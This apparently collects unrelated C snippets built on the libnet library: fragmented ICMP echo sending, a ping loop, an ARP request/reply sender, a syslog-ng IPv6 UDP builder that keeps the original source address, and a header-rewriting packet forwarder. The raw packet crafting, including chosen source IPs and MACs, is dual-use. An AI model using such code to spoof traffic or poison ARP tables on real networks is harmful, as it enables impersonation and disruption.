(libnet_build_icmpv4_echo(ICMP_ECHO, 0, get_sum(payload, total_pload_size, id, seq), id, seq, payload, packet_pload_size, l, 0) == -1) { fprintf(stderr, "Error building ICMP header: %s\n", libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } /* First IP header (no payload, offset == 0) */ if (libnet_build_ipv4( (LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + packet_pload_size), 0, ip_id, hdr_offset, 255, IPPROTO_ICMP, 0, src_addr, ip_addr, NULL, 0, l, 0) == -1) { fprintf(stderr, "Error building IP header: %s\n", libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } /* Writing packet */ bytes_written = libnet_write(l); if (bytes_written != -1) printf("%d bytes written.\n", bytes_written); else fprintf(stderr, "Error writing packet: %s\n", libnet_geterror(l)); /* Updating the offset */ pload_offset += packet_pload_size; /* Clearing */ /* We need to get rid of the ICMP header to build the * * other fragments */ libnet_clear_packet(l); ip_tag = LIBNET_PTAG_INITIALIZER; /* Looping until all the payload is sent */ while (total_pload_size > pload_offset) { /* Building IP header */ /* checking if there will be more fragments */ if ((total_pload_size - pload_offset) > max_pload_size) { /* In IP's eyes, the ICMP header in the first packet * needs to be in the offset, so we add its size to * the payload offset here */ hdr_offset = IP_MF + (pload_offset + LIBNET_ICMPV4_ECHO_H) / 8; packet_pload_size = max_pload_size; } else { /* See above */ hdr_offset = (pload_offset + LIBNET_ICMPV4_ECHO_H) / 8; packet_pload_size = total_pload_size - pload_offset; } ip_tag = libnet_build_ipv4((LIBNET_IPV4_H + max_pload_size), 0, ip_id, hdr_offset, 255, IPPROTO_ICMP, 0, src_addr, ip_addr, (payload + pload_offset), packet_pload_size, l, ip_tag); if (ip_tag == -1) { fprintf(stderr, "Error building IP header: %s\n", libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } /* Writing packet */ bytes_written = libnet_write(l); if (bytes_written != -1) printf("%d bytes written.\n", bytes_written); else fprintf(stderr, "Error writing packet: %s\n", libnet_geterror(l)); /* Updating the offset */ pload_offset += packet_pload_size; } }
u_int16_t get_sum(u_int8_t *payload, u_int32_t total_pload_size, u_int16_t id, u_int16_t seq) { /* Builds the ICMP header with the whole payload, gets * the checksum from it and returns it (in host order). */ char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t icmp_tag; u_int8_t *packet; u_int32_t packet_size; u_int16_t *sum_p, sum; u_int8_t dummy_dst[6] = {0, 0, 0, 0, 0, 0}; icmp_tag = LIBNET_PTAG_INITIALIZER; /* Switching to advanced link mode */ /* Nothing should be built yet and all random numbers * * should be already generated. */ libnet_destroy(l); l = libnet_init(LIBNET_LINK_ADV, "eth0", errbuf); if (l == NULL) { fprintf(stderr, "libnet_init() failed (link_adv): %s\n", errbuf); exit(EXIT_FAILURE); } /* Building the header */ icmp_tag = libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, id, seq, payload, total_pload_size, l, icmp_tag); if (icmp_tag == -1) { fprintf(stderr, "Error building ICMP header: %s\n", libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } /* Building dummy IP header */ if (libnet_autobuild_ipv4( (LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + total_pload_size), IPPROTO_ICMP, 0, l) == -1) { fprintf(stderr, "Error building dummy IP header: %s\n", libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } /* Building dummy Ethernet header */ if (libnet_autobuild_ethernet(dummy_dst, ETHERTYPE_IP, l) == -1) { fprintf(stderr, "Error building dummy Ethernet header: %s\n", libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } /* Pulling the packet */ if (libnet_adv_cull_packet(l, &packet, &packet_size) == -1) { fprintf(stderr, "Error pulling the packet: %s\n", libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } /* Grabbing the checksum */ /* We want the 37th and 38th bytes: eth header (14) + ip * * header (20) + icmp type and code (2) = 36 */ sum_p = (u_int16_t *)(packet + 36); sum = ntohs(*sum_p); /* Freeing memory */ libnet_adv_free_packet(l, packet); /* Clearing the header */ libnet_clear_packet(l); /* Switching back to IPv4 raw socket mode */ libnet_destroy(l); l = libnet_init(LIBNET_RAW4, "eth0", errbuf); if (l == NULL) { fprintf(stderr, "libnet_init() failed (raw4, 2nd call): %s\n", errbuf); exit(EXIT_FAILURE); } return sum; }
int main() { libnet_t *l; /* libnet context */ char errbuf[LIBNET_ERRBUF_SIZE], ip_addr_str[16]; u_int32_t ip_addr; u_int16_t id, seq; int i; l = libnet_init(LIBNET_RAW4, NULL, errbuf); if ( l == NULL ) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(EXIT_FAILURE); } /* Generating a random id */ libnet_seed_prand(l); id = (u_int16_t)libnet_get_prand(LIBNET_PR16); /* Getting destination IP address */ printf("Destination IP address: "); scanf("%15s",ip_addr_str); ip_addr = libnet_name2addr4(l, ip_addr_str, LIBNET_DONT_RESOLVE); if ( ip_addr == -1 ) { fprintf(stderr, "Error converting IP address.\n"); libnet_destroy(l); exit(EXIT_FAILURE); } /* Writing 4 packets */ seq = 1; for ( i = 0; i < 4; i++ ) { /* Building the ICMP header */ if ( libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, id,\ (seq + i), NULL, 0, l, 0) == -1 ) { fprintf(stderr, "Error building ICMP header: %s\n",\ libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } /* Building the IP header */ if ( libnet_autobuild_ipv4(LIBNET_IPV4_H + \ LIBNET_ICMPV4_ECHO_H, IPPROTO_ICMP,\ ip_addr, l) == -1 ) { fprintf(stderr, "Error building IP header: %s\n",\ libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } if ( libnet_write(l) == -1 ) fprintf(stderr, "Error writing packet: %s\n",\ libnet_geterror(l)); /* Clearing the packet */ /* Comment this to see what happens when you rebuild headers * without calling libnet_clear_packet() */ libnet_clear_packet(l); /* Waiting 1 second between each packet */ sleep(1); } libnet_destroy(l); return 0; }
int send_arp(libnet_t* lntag, u_int32_t ip, u_char *device, u_char macaddr[6], u_char *broadcast, u_char *netmask, u_short arptype) { int n; u_char *target_mac; u_char device_mac[6]; u_char bcast_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; u_char zero_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; if (arptype == ARPOP_REQUEST) { target_mac = zero_mac; } else if (arptype == ARPOP_REPLY) { target_mac = macaddr; } else { cl_log(LOG_ERR, "unkonwn arptype:"); return -1; } /* * ARP header */ if (libnet_build_arp(ARPHRD_ETHER, /* hardware address type */ ETHERTYPE_IP, /* protocol address type */ 6, /* Hardware address length */ 4, /* protocol address length */ arptype, /* ARP operation type */ macaddr, /* sender Hardware address */ (u_int8_t *)&ip, /* sender protocol address */ target_mac, /* target hardware address */ (u_int8_t *)&ip, /* target protocol address */ NULL, /* Payload */ 0, /* Length of payload */ lntag, /* libnet context pointer */ 0 /* packet id */ ) == -1 ) { cl_log(LOG_ERR, "libnet_build_arp failed:"); return -1; } /* Ethernet header */ if (get_hw_addr((char *)device, device_mac) < 0) { cl_log(LOG_ERR, "Cannot find mac address for %s", device); return -1; } if (libnet_build_ethernet(bcast_mac, device_mac, ETHERTYPE_ARP, NULL, 0 , lntag, 0) == -1 ) { cl_log(LOG_ERR, "libnet_build_ethernet failed:"); return -1; } n = libnet_write(lntag); if (n == -1) { cl_log(LOG_ERR, "libnet_build_ethernet failed:"); } libnet_clear_packet(lntag); return (n); }
static gboolean afinet_dd_construct_ipv6_packet(AFInetDestDriver *self, LogMessage *msg, GString *msg_line) { libnet_ptag_t ip, udp; struct sockaddr_in *src4; struct sockaddr_in6 src, *dst; struct libnet_in6_addr ln_src, ln_dst; switch (msg->saddr->sa.sa_family) { case AF_INET: src4 = (struct sockaddr_in *) &msg->saddr->sa; memset(&src, 0, sizeof(src)); src.sin6_family = AF_INET6; src.sin6_port = src4->sin_port; ((guint32 *) &src.sin6_addr)[0] = 0; ((guint32 *) &src.sin6_addr)[1] = 0; ((guint32 *) &src.sin6_addr)[2] = htonl(0xffff); ((guint32 *) &src.sin6_addr)[3] = src4->sin_addr.s_addr; break; case AF_INET6: src = *((struct sockaddr_in6 *) &msg->saddr->sa); break; default: g_assert_not_reached(); break; } dst = (struct sockaddr_in6 *) &self->super.dest_addr->sa; libnet_clear_packet(self->lnet_ctx); udp = libnet_build_udp(ntohs(src.sin6_port), ntohs(dst->sin6_port), LIBNET_UDP_H + msg_line->len, 0, (guchar *) msg_line->str, msg_line->len, self->lnet_ctx, 0); if (udp == -1) return FALSE; /* There seems to be a bug in libnet 1.1.2 that is triggered when * checksumming UDP6 packets. This is a workaround below. */ libnet_toggle_checksum(self->lnet_ctx, udp, LIBNET_OFF); memcpy(&ln_src, &src.sin6_addr, sizeof(ln_src)); memcpy(&ln_dst, &dst->sin6_addr, sizeof(ln_dst)); ip = libnet_build_ipv6(0, 0, LIBNET_UDP_H + msg_line->len, IPPROTO_UDP, /* IPv6 next header */ 64, /* hop limit */ ln_src, ln_dst, NULL, 0, /* payload and its length */ self->lnet_ctx, 0); if (ip == -1) return FALSE; return TRUE; }
/* -- FUNCTION: forward -- -- DATE: March 13, 2012 -- -- REVISIONS: (Date and Description) -- -- DESIGNER: Luke Queenan -- -- PROGRAMMER: Luke Queenan -- -- INTERFACE: void forward(u_char *args, const struct pcap_pkthdr *header, const u_char *packet); -- -- RETURNS: void -- -- NOTES: -- This is the function that deals with the actual forwarding of packets. It -- is called by the libpcap loop when a packet matching the filter is detected. -- This function breaks the packet down and creates it using the libnet library -- calls. The packet is then forwarded to the relevent machine. */ void forward(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { const struct sniff_ip *ip = NULL; const struct sniff_tcp *tcp = NULL; const struct sniff_udp *udp = NULL; info *myInfo = (info*)args; int ipHeaderSize = 0; int tcpHeaderSize = 0; int payloadSize = 0; libnet_ptag_t ptag; u_short sport = 0; u_short dport = 0; struct in_addr src_ip; struct in_addr dst_ip; /* Get the IP header and offset value */ ip = (struct sniff_ip*)(packet + SIZE_ETHERNET); ipHeaderSize = IP_HL(ip) * 4; if (ipHeaderSize < 20) { return; } /* Determine the protocol and handle it */ if (ip->ip_p == IPPROTO_TCP) { /* Get tcp header along with its size */ tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + ipHeaderSize); tcpHeaderSize = TH_OFF(tcp) * 4; if (tcpHeaderSize < 20) { return; } /* If we are the external filter, check to see if the SYN bit is set */ if ((myInfo->externFilter == '1') && ((tcp->th_flags & TH_SYN) == TH_SYN)) { /* Add the data to the map */ addRuleToMaps(ip->ip_src.s_addr, tcp->th_sport, tcp->th_dport); } /* Get the size of the payload */ payloadSize = ntohs(ip->ip_len) - (ipHeaderSize + tcpHeaderSize); /* Get the source and destination information from the map */ if (myInfo->externFilter == '1') { /* We are sending packets to the internal machine */ /* Get the forwarding machine's return port */ if (cliFind(ip->ip_src.s_addr, tcp->th_sport, &sport) == 0) { return; } /* Get the internal machine's listening port and IP for this port */ rlFind(tcp->th_dport, &dport, &dst_ip.s_addr); src_ip.s_addr = ip->ip_dst.s_addr; } else { /* We are sending packets out to the world */ /* Find the client to forward the packet to */ if (srvFind(tcp->th_dport, &dst_ip.s_addr, &dport, &sport) == 0) { return; } /* Set the IP address */ src_ip.s_addr = ip->ip_dst.s_addr; } /* Make the new TCP header */ ptag = libnet_build_tcp( htons(sport), /* source port */ htons(dport), /* destination port */ ntohl(tcp->th_seq), /* sequence number */ ntohl(tcp->th_ack), /* acknowledgement num */ tcp->th_flags, /* control flags */ tcp->th_win, /* window size */ 0, /* checksum */ tcp->th_urp, /* urgent pointer */ tcpHeaderSize + payloadSize, /* TCP packet size */ (u_char *)tcp + tcpHeaderSize, /* payload */ payloadSize, /* payload size */ myInfo->myPacket, /* libnet handle */ 0); /* libnet id */ /* Error check */ if (ptag == -1) { libnet_clear_packet(myInfo->myPacket); return; } } else if (ip->ip_p == IPPROTO_UDP) { /* Grab the UDP packet */ udp = (struct sniff_udp*)(packet + SIZE_ETHERNET + ipHeaderSize); /* If we are the external filter, make sure that we have a rule added */ if (myInfo->externFilter == '1') { addRuleToMaps(ip->ip_src.s_addr, udp->uh_sport, udp->uh_dport); } /* Get the payload size */ payloadSize = ntohs(udp->uh_len) - SIZE_UDP_HEADER; /* Get the source and destination information from the map */ if (myInfo->externFilter == '1') { /* We are sending packets to the internal machine */ /* Get the forwarding machine's return port */ if (cliFind(ip->ip_src.s_addr, udp->uh_sport, &sport) == 0) { return; } /* Get the internal machine's listening port and IP for this port */ rlFind(udp->uh_dport, &dport, &dst_ip.s_addr); src_ip.s_addr = ip->ip_dst.s_addr; } else { /* We are sending packets out to the world */ /* Find the client to forward the packet to */ if (srvFind(udp->uh_dport, &dst_ip.s_addr, &dport, &sport) == 0) { return; } /* Set the IP address */ src_ip.s_addr = ip->ip_dst.s_addr; } /* Make the new UDP header */ ptag = libnet_build_udp( htons(sport), /* source port */ htons(dport), /* destination port */ ntohl(udp->uh_len), /* packet size */ 0, /* checksum */ (u_char *)udp + SIZE_UDP_HEADER, /* payload */ payloadSize, /* payload size */ myInfo->myPacket, /* libnet handle */ 0); /* libnet id */ /* Error check */ if (ptag == -1) { libnet_clear_packet(myInfo->myPacket); return; } } else { /* Protocol that we do not handle, exit */ return; } /* Make the IP header */ ptag = libnet_build_ipv4( ipHeaderSize + tcpHeaderSize + payloadSize, /* length */ ip->ip_tos, /* TOS */ ip->ip_id, /* IP ID */ 0, /* IP Frag */ ip->ip_ttl, /* TTL */ ip->ip_p, /* protocol */ 0, /* checksum */ src_ip.s_addr, /* source IP */ dst_ip.s_addr, /* destination IP */ NULL, /* payload */ 0, /* payload size */ myInfo->myPacket, /* libnet handle */ 0); /* libnet id */ /* Error check */ if (ptag == -1) { libnet_clear_packet(myInfo->myPacket); return; } /* Send the packet out */ libnet_write(myInfo->myPacket); /* Clear the libnet system */ libnet_clear_packet(myInfo->myPacket); return; }